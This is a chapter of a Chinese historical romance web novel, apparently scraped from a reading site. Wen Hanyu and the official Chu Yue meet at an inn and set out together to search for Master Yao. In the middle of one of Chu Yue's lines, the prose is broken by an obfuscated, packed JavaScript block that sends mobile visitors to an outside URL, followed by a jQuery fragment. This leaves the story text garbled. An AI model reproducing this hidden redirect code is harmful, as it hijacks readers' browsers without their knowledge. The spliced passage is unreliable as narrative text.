15. 第15章

作品:《今日想为夫了吗

    楚越眉头微蹙,眼底一片冷然,温菡玉小心翼翼的解释过后,垂眸等着楚越问话。


    看她这样,楚越早已没了火气,声线也变的柔和了些:“我没有生你的气,大家都累了,进去再说。”


    温菡玉立在门口不动,楚越也放下脚步:“怎么了?”


    “大人,我既然出了门,定然要去找找看,不管能不能找到,您能不能不要阻止我。”


    楚越也是这般想的,既然出了门,就把此事料理干净,低声道:“放心,我不是来阻止你的。”


    既然不是,那温菡玉也放心了,一路风尘仆仆,楚越也是满脸疲惫,温菡玉把人请进客栈,吩咐店家备水备菜。


    楚越坐在大堂内饮了两碗茶水,这一路马不停蹄,路上一刻不敢耽搁。


    温菡玉吩咐完,来到楚越身边:“赶了这么远的路,大家都累了,歇脚用饭后,我再跟你好好的解释如何?”


    “好。”


    楚越最担心的是她一个姑娘家不安全,这会见她好好的,也慢慢释然了。


    回到各自房间后,沐浴、更衣、用膳,等忙完时,天色已经黑透了。


    房里,沐浴后的楚越卸下一身疲惫,准备筹划下一步该怎么做时,跟随的小厮进门道:“大人,温姑娘让问您,还要她跟你解释吗?”


    楚越想了想,人都追上了,也没什么要紧的,告诉小厮,让她先歇息,等明日再说。


    虽然赶了一日的路,但温菡玉睡不着,也好奇楚越怎么这么快就找到她。


    如今朝中正是忙碌的时候,年底时,天下诸位司官来朝,这段时间,吏部会考察官吏的履历和政绩,吏部的任务最为繁重,楚越身为吏部侍郎,这个时候离开,会不会被朝廷怪罪。


    温菡玉心里又有些不安起来,虽然楚越没有怪罪她,但他少言寡语的样子,更让人担忧。


    小厮过来递话的时候,温菡玉多问了一句:“大人这会心情如何?”


    “温姑娘,小的也看不出来,这大人向来喜怒不形于色,这还真的有些摸不透。”


    “那好吧,辛苦你了。”


    “温姑娘哪里的话,我也没做什么。”


    寒暄过后,温菡玉下了楼。


    这会大堂内只有掌柜和小二在,于是来到大堂内,灶房里传来一阵香味,温菡玉问掌柜的做了什么。


    掌柜的笑着答:“刚出锅的红煨肉,姑娘要不来一些?”


    大晚上的,她向来不吃这么油腻的,但今日赶路乏累,吃饱了明日方有力气继续赶路,犹豫片刻,就要了一小碗。


    等待的间隙,楼梯间传来了响动,还伴随着说话声:“掌柜的,给我也来一碗。”


    温菡玉发现是楚越,忙起身行礼:“大人……”


    楚越示意她坐下,来到桌子前道:“在这里不用叫我大人。”


    温菡玉明白,随即又问:“那我叫您什么?”


    “叫……”楚越想了想:“随你吧。”


    温菡玉对于楚越的年龄很是迷惑,毕竟做到他这个官位年岁已经不小了,但瞧着和二十出头的男子没什么区别,随即讪讪一笑:“那我唤你公子如何?公子……”


    温菡玉的声音细细软软,一声公子,再普通不过的称呼,却叫的楚越心里痒痒的,说不出什么感觉。


    红煨肉端上来,为了解腻,掌柜的还送了一道腌制可口的小菜。


    温菡玉看了一眼大碗里的肉,顿时傻眼了,她要的可是一小碗,可不是这么大的碗,两个人吃都有困难。


    “掌柜的,你上错了吧。”温菡玉问道。


    掌柜笑着解释道:“姑娘,你们不是一起的吗?我就顺手盛到大碗里了。”


    温菡玉点头,她并不是拘泥这些,只是担心楚越不适应,看他始终面色淡然,也就无所谓了:“好。”


    一男一女出门在外,女子也未挽妇人的发式,预示着还未出阁,但拘谨的模样又觉得不像兄妹,掌柜的料定两人之间的关系,又问道:“你们两个订亲了吧。”


    温菡玉刚要回答不是,楚越首先问道:“何以见得?”


    “我见的人多了,你们有夫妻相,看你们这么客气,想必是刚议亲不久。”


    楚越没有解释的意思,只是招呼温菡玉尝一尝味道,掌柜的笑着离去。


    待他走后,温菡玉难为情的问:“大人,您怎么不说清楚呢?”


    “出门在外,解释那么清楚作甚,赶紧吃吧,一会就凉了。”


    温菡玉没想到掌柜的红煨肉这么大块,比她平日里吃的至大两倍,她这一口下去,定然会满嘴占油。


    正不知所措时,只见楚越已经开始享用了,他动作慢调丝缕,优雅且从容。


    温菡玉也不再拘谨,虽然这红煨肉的卖相不好,味道却不错。


    温菡玉食量小,吃了一块就饱了。


    她要了一壶茶,给楚越斟了一杯茶水,饮茶的间隙,温菡玉想解释自己贸然出门的原由,询问楚越:“您现在要听我寻姚师傅的原因吗?”


    “明日吧,时候不早了,早点歇息,明日一早就动身,路上再说。”


    温菡玉本想要回房,忽然想到了些什么,起身后又坐了下来问:“您的意思是要和我一起去?”


    “嗯,一个姑娘家多危险,又没带几个人,你的心真够大的,就一点不害怕吗?”


    “害怕是有一点的,可如今是年底,吏部的事宜最为繁重,您这个时候离开……会不会耽搁公务……”


    楚越却表示无碍:“吏部又不是我一个,来之前已经告假了,放心吧。”


    温菡玉有些过意不去,再劝说也没意思,堂堂吏部侍郎,思虑的要比她周全的多。


    翌日一早,杨妈妈来唤温菡玉,温菡玉麻溜的起床洗漱,唯恐耽搁了行程。


    她的发式平日里都是佳月梳的,这会人不在,只自己简单的把一头青丝利落的挽了一下,衣着打扮也按照最朴素的来。


    出了客栈的门,一道冷风袭来,温菡玉裹进身上的兔毛领披风:“真冷呀。”


    今日天色略微黯淡,阳光被乌云遮住了大半,果然是要变天的迹象。


    杨妈妈连忙把暖耳给温菡玉戴上:“姑娘,外面天冷,把这个戴好。”


    楚越也从客栈内走出,今日他一身墨色长袍,头戴墨色网巾,步调从容有度,或是歇了一晚,今日的楚越精神奕奕。


    温菡玉行礼,楚越点头示意,来到温菡玉身边道:“今日变天了,路上冷,让你的人多穿一些衣物。”


    “好。”


    “若是快些赶路,差不多半天就能赶到柳河县。”


    温菡玉略略思索片刻道:“您真的要同我一起去?”


    楚越上下打量温菡玉,这个问题昨日就问了,今早又问,看来有必要跟她讲一下:“你有什么异议?尽管说。”


    “此事本是我的私事,不敢劳烦大人。”


    楚越语重心长道:“温姑娘,此事不是你的私事,它也是公事,你莫要觉得我是在帮你,从你第一次讲姚师傅的事,我就知道,造成现在这个局面,是朝廷命官不作为造成的,身为朝廷命官,还搞不懂公私分明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080341|137628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吗?你这件事就是公事。”


    温菡玉彻底没话说了,既然楚越都这么说了,那她就坦然接受吧,不过在心里还是觉得楚越在帮她,听了一些话,温菡玉瞬间觉得,楚越不仅长得好,心也好。


    这会旁边都是自己人,楚越问道:“那你告诉我,为何自己这么冒失的跑出来?”


    昨日本想和楚越解释的,还以为楚越不太想知道,温菡玉想了一下:“之前对大人有所隐瞒,我找人,不仅是向官府的人打听,还去了过紫阳街,使了一些银子,但这件事过去许久了,也没任何消息,也就没当回事,所以……”


    接下来就是她擅自离京的决定,没必要在讲下去了。


    紫阳街上的人五行八作,乌龙混杂,有些小帮小派,只要使银子,就能接任何事,楚越没想到,瞧着温婉贤淑的温菡玉,还会去那样的地方找人。


    “所以,你接到消息就火急火燎的出门找人了?”


    温菡玉又继续解释:“并不是,我是去了一趟楚府,在丁管事那得到了证实,听说姚师傅腿瘸了,还一直在躲避所有寻他的人,我是怕线索断了,也怕他有危险,所以……才这般鲁莽的。”


    说到最后,温菡玉声音越来越小,她的确鲁莽了,但也别无他法,她可不想再等下去了。


    沉默一会,楚越道:“万事有我,不用担心。”


    温菡玉抬眼,双眼难以置信的看着楚越,这句话让她感觉暖暖的,但也怪怪的,以前,父亲也曾对母亲这般说过。


    匆匆用了早膳,一行人离开客栈。


    温菡玉这边只有一辆马车,而楚越连马车都没有,只和两个随性的小厮骑着马儿赶路。


    马车内很宽敞,除了温菡玉和杨妈妈,再容纳三个人都没问题。


    看着外面的天色越来越黯淡,风也越来越大,温菡玉掀开车帘道:“大人,外面冷,要不您做马车里吧?”


    楚越目视前方道:“这点冷不算什么,姑娘照顾好自己就行。”


    “大人……我这里有些酥饼,是从京城带的,要不要吃一点?”


    “姑娘自己留着吧。”


    车也不坐,酥饼也不吃,温菡玉真的想不到能为楚越做些什么。


    她轻叹一口气,正要放下车帘,却听到楚越说道:“姑娘的水囊里有水吗?”


    “有的。”温菡玉忙让杨妈妈把水囊拿出来,把手探出车窗,递给了楚越。


    楚越打开水囊,仰脸喝了两口,出门在外,也不再拘于小节,合上水囊的时候,发现温菡玉趴在车窗看着自己,双眼弯成了月牙:“大人,水的味道如何?”


    楚越没有细细品味,但还是夸赞道:“很不错。”


    “这是今早杨妈妈泡制的花茶,里面有三种花,后味甘甜,还可提神醒脑,只可惜用的是井水,若是三年珍藏的雪水,味道会更胜一筹。”


    趴在车窗的姑娘,不惧寒风,滔滔不绝的讲着花茶如何炮制。


    楚越听她说完道:“外面冷,姑娘还是关上窗子吧。”


    “大人在外面都不觉得冷,我怎么又会冷呢,大人,寻找姚师傅这么久,我见过官府的人也不少了,没有一个想您这样的,大人这份情谊,我会一直铭记在心的,往后你遇到任何需要我的地方,我一定竭尽所能的帮助大人。”


    楚越忍不住笑出声,爽朗的笑声在空旷的马路上回荡。


    温菡玉看不懂楚越为何发笑:“大人笑什么?”


    “我笑姑娘心眼子实,不过你这句话我可记住了,任何时候需要你,都竭尽所能的帮我,对吗?”